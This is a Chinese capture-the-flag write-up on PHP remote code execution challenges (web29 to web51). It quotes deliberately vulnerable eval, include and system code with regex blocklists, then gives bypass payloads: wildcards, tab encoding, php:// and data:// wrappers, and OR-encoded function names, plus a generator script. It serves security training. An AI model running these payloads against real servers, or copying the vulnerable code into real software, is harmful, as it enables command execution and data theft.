web29
前瞻知识:
php
isset() #函数用于检测变量是否已设置并且非 NULL。
php
highlight_file(_FILE_) #它的作用是将当前文件的代码以语法高亮的形式输出到浏览器.
#该函数接受一个参数,"_FILE_",是一个特殊的变量,表示当前文件的路径。因此,这行代码的作用是将当前文件的代码以语法高亮的形式输出到浏览器。
php
preg_match("/flag/i",$c) #preg_match 函数用于执行一个正则表达式匹配。
#这次的判断是不能出现 flag 字样,后面 i 意思是不分辨大小写。
#匹配字符串 flag,那么使用通配符、单引号(成对)等方式简单绕过。
php
eval() #作用是将字符串当作有效的表达式来求值并返回计算结果。
#这个函数可以计算任何有效的表达式,包括数学运算、逻辑运算、变量赋值等等
通配符也叫文件名替换,它主要是作用于匹配文件名,常用命令是cat、tac、ls、find、cp、mv;
题解:
ls:查看当前目录下的文件及目录
ls /:参数/是根目录的意思,这表示显示根目录下的文件
方法一:cat命令+通配符
php
?c=system('cat fl*');
?c=system('cat fla?.php');
cat主要有三大功能:
1.一次显示整个文件:cat filename
2.从键盘创建一个文件:cat > filename 只能创建新文件,不能编辑已有文件.
3.将几个文件合并为一个文件:cat file1 file2 > file
方法二: tac命令
tac 命令本质上是 cat 命令,但其目的是反向连接文件。
tac 命令用于按相反顺序逐行连接和打印文件内容。和 cat 命令一样,将每个文件连接到标准输出,但顺序相反,逐行打印,首先打印最后一行。
方法三:cp命令
php
?c=system('cp fl* 1.txt');
方法四:嵌套 eval 逃逸参数
php
?c=eval($_GET[a]);&a=system('cat flag.php');
cat需要在源码中查看,tac会输出
web30
php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
题目过滤掉了flag,system,php;
除了system()函数外,还有其他函数可以使用,其他师傅的总结如下:
php
system($cmd);
assert(php语句);
preg_replace($pat,$rep,$sub) #第一个参数,/e模式是要在正则匹配到特定特征的字符串直接当作php代码来执行,执行结果替换原字符
eval($str);
shell_exec($cmd);
exec($command, $output, $return_var)
passthru($cmd);
popen($cmd,mode);
proc_open(); #详细用法百度吧
pcntl_exec(); #如:pcntl_exec('/bin/bash','mv /tmp/test1.txt /tmp/test2.txt')
反撇号 #(shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体)
可以使用shell_exec,passthru
payload:
php
?c=passthru("ls");//找到flag.php
?c=passthru("cat fl*"); #或者?c=passthru("cat fl*")?> php最后一条语句可以不加";"
cat/tac/cp/eval逃逸都可以使用
web31
php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这里对"."和" ' "进行了转义,还限制了空格
能用嵌套eval逃逸参数
php
?c=eval($_GET[a]);&a=passthru("tac flag.php");
或者
php
?c=passthru("tac%09fl*");
%09(Tab)绕过空格
常见绕过替代:
%20 --代表url编码的空格,在空格过滤时可以代替。
%09--用于在输出或显示文本时在该位置产生一个固定的水平间距,类似于tab键。
%0a--代表换行符
%0b--用于在输出或显示文本时在该位置产生一个固定的垂直间距,类似于tab键。
%0c--
%0d--回车换行
%a0--代表的是非断行空格
%00--%00代表的是ASCII码中的空字符
web32(32~36)
php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
又增加了过滤括号
可以使用文件包含include,逃逸参数a,再使用伪协议filter
php://filter是php中独有的一种协议,它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64编码处理,rot13处理等。
php://filter
伪协议可以用于如下函数:include()
file()
file_get_contents()
readfile()
file_put_contents()
可以用于读取、写入文件等函数,
使用方法:
php
php://filter/过滤器|过滤器/resource=要过滤的数据流
题解:
php
?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
php
?c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
php
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web33
php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:
php
?c=include%09$_GET[a]?>&a=pHp://FilTer/convert.base64-encode/resource=flag.php
这里的%09是水平制表符tab,目的是为了绕过空格
web34
php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
比web33多过滤一个冒号:
同样的payload
php
?c=include%09$_GET[a]?>&a=pHp://FilTer/convert.base64-encode/resource=flag.php
web35
php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多过滤的内容不影响,payload一样
php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
虽然这里过滤了[0~9]这些数字,但%09会被urldecoded解码成制表符,属于不可见字符
可以绕过,同样的
payload:?c=include%09$_GET[a]?>&a=pHp://FilTer/convert.base64-encode/resource=flag.php
web36
php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:?c=include%09$_GET[a]?>&a=pHp://FilTer/convert.base64-encode/resource=flag.php
web37
php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
这里有个include文件包含函数;要用到伪协议data
payload:?c=data://text/plain,<?php system("tac fla*");?>
用php:filter不行,因为resource=flag.php,我们不能使用通配符,所以也没法绕过
web38
php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
本来以为不影响,直接上?c=data://text/plain,<?php system("tac fla*");?> ,结果不对,
发现把php也过滤了,这里写php文件的时候,php可以用"="代替
payload:?c=data://text/plain,<?= system("tac fla*");?>
web39
php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
payload:?c=data://text/plain,<?= system("tac fla*");?>
web40
可以看这个师傅的blog:http://t.csdnimg.cn/lcSb2
php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
没有过滤英文(,采用套娃形式
payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
首先通过 pos(localeconv())得到点号(.)
该方法还有如下函数可以进行替换
dirname(FILE)
current(localeconv()
reset(localeconv()
pos(localeconv()
getcwd()
scandir('.')表示得到当前目录下的文件
?c=print_r(scandir(pos(localeconv())));
array_reverse()将数组倒过来
默认指向数组下标起始位置0;
web41
php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
这里过滤很严格,将0~9和a~z的数字,字符都过滤了
因此我们想要的字符只能用不可见字符或特殊字符的16进制进行与/或运算得到
这里建议参考这位师傅的脚本blog:http://t.csdnimg.cn/ozGf2
我这里直接把用或运算生成字符的脚本拿来了;
php
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
//新增过滤\和@符号,因为如果用到这两个字符,那么它是不会被urldecodeed,
//因为它不属于url中的特殊字符或不可见字符,比如\,经过urldecoded后,还是以%5c的形式存在,
//此时会被直接过滤掉
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\_|\\\\|\@/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
生成一个rce_or.txt文件
system('ls'),('system')('ls'),("system")("ls")(system)('ls'),('system')(ls) 等效都是可以执行的。
payload:c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")
这里用hackbar提交有问题,用bp提交是可以的,
用hackbar提交,bp抓一下包,发现那个左括号和双引号也会被编码,可能问题出现在这里
抓取的数据包时这样的
但我们应该传这种参数的post
web42 (42~51)
php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
黑洞绕过:建议参考这位师傅的blog,讲得很详细:http://t.csdnimg.cn/DVPoX
分号绕过
payload:?c=tac flag.php;//
web43
php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
||绕过
payload:?c=tac flag.php||//
web44
php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
占位符?或者*绕过
payload:?c=tac fla?.php||//
web45
php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里多过滤了一个空格
空格可以用%09绕过
payload:?c=tac%09fla?.php||//
web46~web49一样
payload:?c=tac%09fla?.php||//
web50
php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
<>绕过空格
?c=tac<>fla''g.php||//
web51
php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里将tac给过滤了,tac命令用不了,只能用其他命令
尝试?c=nl<fla?.php||//,没有输出,原来nl命令里面用不了占位符;
只能双写单引号绕过flag过滤;
payload:?c=nl<fla''.php||// #<是输入命令
或者
payload:?c=nl<>fla''g.php||// #<>是为了绕过空格
这里的flag需要到源码中查看
关于文件包含漏洞,这里推荐一位师傅写的blog:http://t.csdnimg.cn/CsWOr